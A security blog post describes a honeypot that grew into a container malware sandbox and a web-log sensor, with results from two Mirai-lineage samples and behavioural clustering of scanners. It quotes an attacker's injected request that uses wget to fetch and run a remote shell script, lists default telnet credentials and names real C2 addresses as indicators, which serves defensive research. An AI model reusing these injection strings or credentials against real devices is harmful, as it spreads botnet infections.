Ninja Labz blog

The Skunkbox: a honeypot that became a sensor, a sandbox and a free malware range

We put a cheap VPS on the internet with the lights on, let the botnets break in, and then built a range that runs what they left behind. How a honeypot became a sensor, a sandbox and a free tool, with diagrams and two field notes.

415samples in the first static triage, 202 of them Linux ELF
2real command-and-control servers extracted from two samples, in one minute each
773distinct source IPs profiled from 8,338 lines of one real edge log
29same-operator clusters the behavioural fingerprint found in that traffic

Nobody attacks a small cloud server because it is interesting. They attack it because it is there. Point a listener at port 23 and within the hour a script written for a hacked camera will try root/vizxv, drop into a BusyBox shell that does not exist, and ask the box to fetch a binary from an address in someone else's hosting range. That reflex, repeated across the whole IPv4 space thousands of times a minute, is the weather of the internet. The Skunkbox is a barometer we bolted to a wall and then, because the readings were so good, turned into a laboratory.

The box itself is nothing: a cheap VPS, a couple of cores, no hardware virtualisation. It already did one research job for us and had headroom. On 5 October 2026 the idea was a sentence long, "that little server is now the skunkbox, can we put a honeynet on it", and by the evening it was recording logins. By mid November it had a static triage line, a detonation cell, an edge sensor and a public repo. Here is the machine, part by part, with what it actually caught.

1. A trap with the lights on

A honeypot is a service that answers like the real thing and does nothing else. We run two. Cowrie plays an SSH and telnet server with an emulated shell: the attacker gets a prompt, a filesystem, a hostname that looks like an application server, and every keystroke is recorded. The real SSH daemon stays on its own port and is never exposed to this. OpenCanary covers the protocols Cowrie cannot: FTP, a fake NAS login page on HTTP, MySQL, Redis, and later SMB, MSSQL, RDP and VNC. Both run as containers with no privileges, on their own bridge, deliberately kept apart from the other work on the box.

THE INTERNET IoT botnettelnet · root/vizxv SSH brute-forcerwordlists · planted keys service scannerredis · mysql · rdp · smb SKUNKBOX · a cheap VPS · containers, no privileges Cowrie SSH + telnet emulated shell, no real OS OpenCanary FTP HTTP MySQL Redis SMB MSSQL RDP VNC real sshd own port · never a honeypot cowrie.json sessions · creds · commands downloads/<sha256> what they made us fetch opencanary.log service probes connect logs the estate feeder pulls every 15 min over SSH · high-signal only SIEM · graph · console pull
Figure 1. The trap. Attackers reach only the emulated services. Every session, credential and command is written as JSON; every file an attacker makes the fake shell download is kept by hash. A feeder on another box pulls the logs every fifteen minutes and forwards the high-signal events (successful logins, commands, file transfers) into the estate. Brute-force failures are counted, not forwarded.

Two design choices matter more than the rest. First, the honeypot is passive. It accepts, records and emulates. It never scans back, never replies to a dropper's host, never touches an attacker's infrastructure. Second, it is contained. Published container ports bypass the host firewall on purpose, so the fake services are reachable from anywhere, but the containers have no capabilities and nowhere to go.

It worked within the hour. The first telnet sessions were textbook Mirai-family infection chains: default camera and DVR credentials, /bin/busybox HISILICON to fingerprint the chipset, then the staging sequence that tries to pull a binary for the right architecture. Attackers who logged in were greeted with a message of the day inviting them to leave a note on a board file. Some did. Cowrie recorded those too.

What broke, and why we are telling youTen days in, the OpenCanary log stopped moving and we briefly thought the box had been compromised. It had not. The container had the default limit of 1,024 open files, mass scanning exhausted it, and the service quietly stopped writing while its unrotated log grew to 561 MB. Fix: a 65,536 descriptor limit, capped container logging, logrotate. A trap you do not watch is a trap that lies to you.

2. What the attackers left behind

By 15 November the downloads directory was the most interesting thing on the box, and nobody had looked at it properly. So the first piece of the sandbox was the dullest: a static triage job, every fifteen minutes, over every new file. It reads the first bytes, classifies the file (ELF binary, shell script, SSH key, text), pulls the architecture from the ELF header, extracts URLs and IP addresses, and appends one line per file to an index.

The first run covered 415 samples: 202 ELF binaries, 44 dropper scripts, and two planted SSH public keys. One of the keys had been dropped into the fake authorized_keys 202 times in seven days. Its comment string, mdrfckr, is the signature of a long-running crypto-mining crew's persistence step. That is the texture of this data: the same few operations, run by the same few operators, with industrial repetition.

The binaries were the problem. You can read strings out of a Mirai variant all day; what you want to know is who it calls.

3. Running malware on a box that cannot run a VM

The honest way to detonate a Linux binary is in a virtual machine you throw away. The Skunkbox cannot do that; the VPS has no nested virtualisation. So the cell is built from what Docker gives you, used strictly, and it is worth being exact about what that buys and what it does not.

sandbox-cell · internal docker network 10.66.0.0/24 · NO gateway runner the sample, and only the sample --cap-drop ALL · no-new-privileges read-only root · tmpfs /tmp 256 MiB · 64 pids · 1 CPU default seccomp + AppArmor strace (native) · QEMU_STRACE (arm/mips/386) netns holder NET_ADMIN · default route → 10.66.0.2 never touches the sample shares its namespace sinkhole · 10.66.0.2 NET_ADMIN + NET_RAW iptables REDIRECT all TCP → :9999 UDP/53 → :5353 · other UDP → :9998 DNS: every name = 10.66.0.2 TCP: SO_ORIGINAL_DST → real ip:port first 2 KiB read · banner sent tcpdump → capture.pcap one JSON line per hit nothing is executed here connect(C2) DNS? THE INTERNET unreachable × t = 0 s start under tracer ────────────── t = 60 s SIGKILL · tear down · copy out strace, sinkhole.jsonl, pcap evidence strace.txt sinkhole.jsonl capture.pcap · stdout host never executes the sample
Figure 2. The cell. The sample's only route leads to the sinkhole, which pretends to be every host on the internet at once. Because it recovers the original destination from the kernel before the redirect, the log says where the malware wanted to go, not where it ended up. After sixty seconds everything is killed and only the evidence files survive.

Three containers, one network, no gateway. The sinkhole holds the only network privilege and uses it to redirect every outbound connection to itself. It answers every DNS question with its own address, so a bot that resolves its command server gets the sinkhole, connects to the sinkhole, and talks. The sinkhole reads the first two kilobytes, replies with a banner appropriate to the port so chatty protocols keep going, and writes a JSON line with the original destination recovered through SO_ORIGINAL_DST. A packet capture runs underneath all of it.

The namespace holder exists because of a Docker quirk we hit on the first run: an internal network has no default route at all, so without one every connect() fails instantly and the sinkhole sees nothing. The holder, which never touches the sample, sets the default route to the sinkhole and lends its network namespace to the runner.

The runner is as naked as a container can be. All capabilities dropped, no new privileges, a read-only root with a small tmpfs, a hard memory and process cap, the default seccomp and AppArmor profiles. The sample runs under strace natively, or under QEMU's built-in tracer when the binary is ARM, MIPS or 32-bit x86, which most of these are. Sixty seconds, then SIGKILL.

Isolation, honestlyThis is containers, not virtual machines. The sample cannot reach the network and has almost nothing it can do to the host, but it does share the host kernel, and a kernel exploit that escapes a container would not escape a VM. We run the cell on a box we can rebuild from scratch. The public tool says the same thing in its README, in the same words.

4. Field notes

Rules first, so the results mean something. A destination is called command-and-control when the sample dials it at least five times, or when it accounts for at least a fifth of all connection attempts. One-shot connections to the usual scan ports (telnet, SSH, the web ports) are counted as scan targets, not C2. A later rule, added after the ARM run below, promotes any endpoint that received actual payload bytes on a non-scan port. Everything else is reported but not promoted.

Field note 1 · x86-64 · native strace

Sample 3674a103… : the one that would not stop dialling

static
Linux ELF, x86-64, statically linked; the strings and credential table say Mirai lineage, which MalwareBazaar later confirmed for every ELF family the trap has seen so far.
network
160.119.66.206:25565 dialled 152 times in the minute. First bytes on the wire each time: the four-byte XOR\n handshake. Nothing else was contacted. That is a C2 by every rule we have, and it matched what the first, cruder version of the cell found two days earlier (127 attempts in its minute).
behaviour
Unlinked its own binary after start (self-delete), forked 14 times, sent 40 kill signals hunting for rival bots, and bound a listener on port 50317.
evidence
1,415-packet pcap, full syscall trace, 152 sinkhole lines each carrying the original destination and the payload head.
ATT&CK hints
Non-application-layer protocol (T1095), indicator removal by file deletion (T1070.004), service stop (T1489), non-standard port (T1571). Each hint carries the line of evidence that produced it.
Field note 2 · ARM · QEMU user-mode

Sample 000d8b06… : a scanner that phoned home once

static
ARM ELF with an eight-word default-credential table baked in. A telnet scanner by design.
network
24 telnet dials to 24 different addresses, each dropped after the banner. And one connection to 176.65.139.131:2139 that sent a payload: a short token followed by unknown.iot, the bot announcing itself. Dialled once, which the repeat-count rule would have missed.
what we learnt
Two things. QEMU's tracer on this host does not decode socket addresses, so for foreign architectures the sinkhole log is the source of truth, and the beacon rule (payload bytes to a non-scan port) now exists because of this sample. And a malformed DNS packet produced a junk name that briefly became the headline verdict; names are validated now.
ATT&CK hints
Non-application-layer protocol (T1095), network service discovery (T1046), brute force (T1110).

Two samples is not a statistic, and we are not claiming one. The pre-registered bar for the cell is a command-and-control endpoint extracted for at least seventy percent of new ELF samples over thirty days. That clock is running; the number is not in yet.

5. What a reverse engineer gets

The point of all this plumbing is a page a human can work from. For each sample the report has a static half and a dynamic half, and both are deterministic: the same bytes produce the same report, with no model in the path.

Static, in millisecondsDynamic, in about seventy seconds
ELF header, segments with per-segment entropy, sections, interpreter, needed libraries, dynamic imports and exports, packer detection, linkageSyscall histogram and timeline, process tree from fork and execve
ASCII and UTF-16 strings; IOCs (URLs, IPs, paths); the credential table if there is one; the interesting-strings cutFiles opened, written, unlinked and renamed, grouped as persistence, defence evasion and recon
Hexdump windows on demandEvery connect, sendto and bind; the sinkhole's view of each; DNS names asked for
A static verdict (kind, arch, packer, suspicion)C2 ranking with the rule that fired, protocol guess, first bytes sent; scan targets and ports; ATT&CK hints with their evidence line; the pcap, the strace and the sinkhole log to download

The pcap is the part people underrate. Wireshark on capture.pcap shows the handshake bytes, the retry cadence, the exact DNS questions, and the order in which the bot tried its targets, with timestamps. The sinkhole log is the same story indexed by original destination. The strace is the ground truth for what the process did in between. Together they are enough to write a detection signature, and enough to notice when the next variant changes its handshake.

About the AI write-upThe report can be handed to a language model for a prose analyst note, using a key you supply. The tool labels that text as model output, keeps it below the deterministic report, and never lets it change a verdict field. No model-generated analysis appears in this article; every figure above comes from the trace files.

6. The front door is also a sensor

Half of the samples never arrive by telnet. They arrive as a request to a web server: GET /shell?cd+/tmp;wget+http://…/jaws.sh;sh+jaws.sh, aimed at a router model the attacker hopes you are. Your access log already contains the dropper URL. Nobody reads it. So the second half of the tool is a sensor that does.

YOUR EDGE Caddy (JSON) nginx / Apache Traefik any app input file tail syslog :5514 inline proxy :8080 POST /ingest raw lines stay on this box parse one request real client IP drop your own IPs private ranges CDN edge nodes per-IP aggregate paths · methods · codes user agents · timing query strings rebuilt from the bounded request store on restart probe families env-harvest · git-leak · ai-keys · CVE tags dropper URLs wget / curl / tftp in the request line Adversary DNA archetype · kill chain · clusters Load into sandbox throwaway fetcher · size-capped never run on the host
Figure 3. The sensor. The Raz0r Sensor tails the log on the proxy host, listens on syslog from another host, or sits inline as a logging reverse proxy. Lines become requests, requests become a per-IP picture, and the picture yields three things: which probe families each source belongs to, which dropper URLs attackers tried to make the server fetch, and a behavioural fingerprint. A dropper URL is one click from the cell. Raw log lines never leave the box.

We tested it on 8,338 lines of our own public edge log, which is not a lot of traffic but is all real. It found 773 distinct sources, of which 20 were actively probing. The families at the top were the ones that matter in 2026: env-harvest (577 requests hunting for exposed .env files), git-leak (32 requests for .git directories), and ai-keys (26 requests for files and paths where people leave model-provider API keys). The sensor's own author shows up in that list as the most persistent "researcher", because the exclusion list had not been filled in yet. That is the right failure: the tool will not guess which addresses are yours.

7. Adversary DNA: telling operators apart

An IP address is a poor name for an attacker. Operators rotate through cloud ranges, and one campaign can arrive from forty addresses. What stays constant is behaviour: how fast they go, what they ask for, what they do after a 404, whether they ever look at a page a human would. Adversary DNA turns each source's requests into an eighteen-dimension vector of those behaviours, assigns an archetype (scanner, brute-forcer, bot crawler, researcher, targeted operator), maps the kill-chain stage reached, and predicts the next move with a small Markov model. Then it compares vectors.

one IP's requests GET /.env 404 GET /.git/config 404 GET /wp-login.php 404 GET /api/.env 404 … 41 more in 9 s 18-dim vector velocity 404s path diversity human pages secret hunting tool UA … z-scored, unit length archetype: scanner cosine similarity every pair of IPs complete linkage: a group joins only if EVERY cross pair clears the threshold one cluster from the test run 37 IPs · avg similarity 0.98 hosted on Tencent cloud ranges same scanner behaviour, same tempo (23 of 37 drawn)
Figure 4. Behaviour as identity. Requests become a vector, vectors are compared pairwise, and complete-linkage clustering only merges groups where every pair is alike. In the 8,338-line test the method found 188 profiles and 29 clusters; the largest was 37 addresses hosted on Tencent cloud ranges, behaving identically at 0.98 average similarity. That is evidence of one operator, or one tool, behind forty doors. It is not evidence about the cloud provider.

Clustering is deliberately strict. Complete linkage means a group forms only when every member resembles every other member, so a cluster is a claim you can defend: these addresses did the same thing in the same way. The engine is a port of the one that runs on our own threat-intelligence graph, rewritten in plain Python so the sandbox image needs no numeric libraries and runs on anything.

8. Free, yours, telemetry off

Everything above is in one public repository under the Apache licence, as one docker compose up. We made some decisions about what "free" means, and they are worth stating plainly because most free security tools are quietly a funnel for your data.

  • Self-hosted is the product. The sensor, the cell and the report run on your box and keep their data in one directory there. The UI binds to loopback. The repo is complete on its own; nothing phones home to work.
  • Telemetry is off. If you turn it on, the Settings tab shows the exact JSON that would be sent before you do: per-IP aggregates and sample hashes with verdicts. Never raw log lines. Never sample bytes, unless you tick a separate box for that.
  • Bring your own model, or none. The report is deterministic and complete without an LLM. A key for a hosted model, or the address of a local OpenAI-compatible server, unlocks a prose write-up that is labelled as model output and cannot touch a verdict.
  • Your addresses are excluded. Owner IPs and ranges in the exclusion list are never profiled and never sent. CDN edge addresses and private ranges are dropped automatically, and the real client address is read from the forwarding headers.
modewho runs itwhere data livesmodel
self-hostedyouyour box; telemetry opt-in, previewed firstnone, or your own key
ninja-hostedNinja Labz, multi-tenantour lake under our terms; a free tier with daily detonation and sensor caps and seven-day retentionours
hybridsensor on your box, cell at Ninjasensor deltas to you, and to us if you opt in; samples to our cellas above

The hosted instance is live at ninjalabz.io/sandbox behind a Ninja Labz login. The hosted modes exist because some people would rather not run a malware range at all, and because samples pooled across many edges make the family and C2 picture better for everyone who shares. Nobody has to.

9. The line

Honeypots observe. They do not attack back, do not probe the attacker's host, and do not fetch anything from the internet on their own initiative. The samples in this work are files that attackers delivered to a machine we own, through a service we deliberately exposed, and the dropper URLs the sensor follows are URLs that attackers sent to our own edge, fetched into an isolated container with a size cap. The cell never returns a live sample; it returns reports and traces. The tool's own README asks you not to upload files containing personal data or a client's data you are not permitted to process, and to check your local rules on handling malware before you run a range. None of that is legal advice. It is where we have drawn the line for ourselves, and it is written into the code.

10. What comes next

The most useful change is also the smallest: putting the sensor on the honeypot itself. Today the Skunkbox's downloads directory is pulled to another box and triaged there. With the sensor's watch-directory input pointed at that folder, every drop will be triaged where it lands and, with auto-detonate on, run in the cell within the half hour. The trap and the range become one machine.

The hosted mode follows, with the telemetry receiver and a "seen by Ninja" line on the sensor tab so an operator can learn that the address hammering their edge was also hammering ours. Behind the login, sample verdicts will feed the triage desk we already run on our own estate, so a C2 extracted in the cell becomes a beacon the desk watches for.

And the part we were most curious about is already running: a Deep Scan mode with a frontier model (Claude) in the loop, reading the strace, the sinkhole log and the static report alongside an analyst and answering questions about them. Its first live turn on the x86 sample above found the XOR\n handshake in the sinkhole hits and cited the exact field it came from. The deterministic report stays the record. The model is there to be argued with. Everything it produces is marked as model output and kept out of anything we train on.

A few pounds a month of cloud, two containers that pretend to be a camera, and a network with no exit. Everything in this article came out of that.

Ninja Sandbox and the Raz0r Sensor are open source under Apache-2.0 at github.com/scottgardner777/ninja-sandbox. Figures in this article are from the honeynet logs, the static triage index and the two detonation records named above; the 8,338-line sensor test used a single real edge log of our own. Attacker command-and-control addresses are published as indicators. No model-generated analysis appears in this article.

ScottG · Ninja Labz · ninjalabz.io

honeypotmalware sandboxCowrieOpenCanaryMiraibotnetcommand and controlthreat intelligencedetection engineeringopen sourceNinja SandboxRaz0r Sensor

Every morning at 06:00 UK an AI reads every threat-intel item from the last 24 hours and writes the paper, with receipts.

Read Probably Fine Daily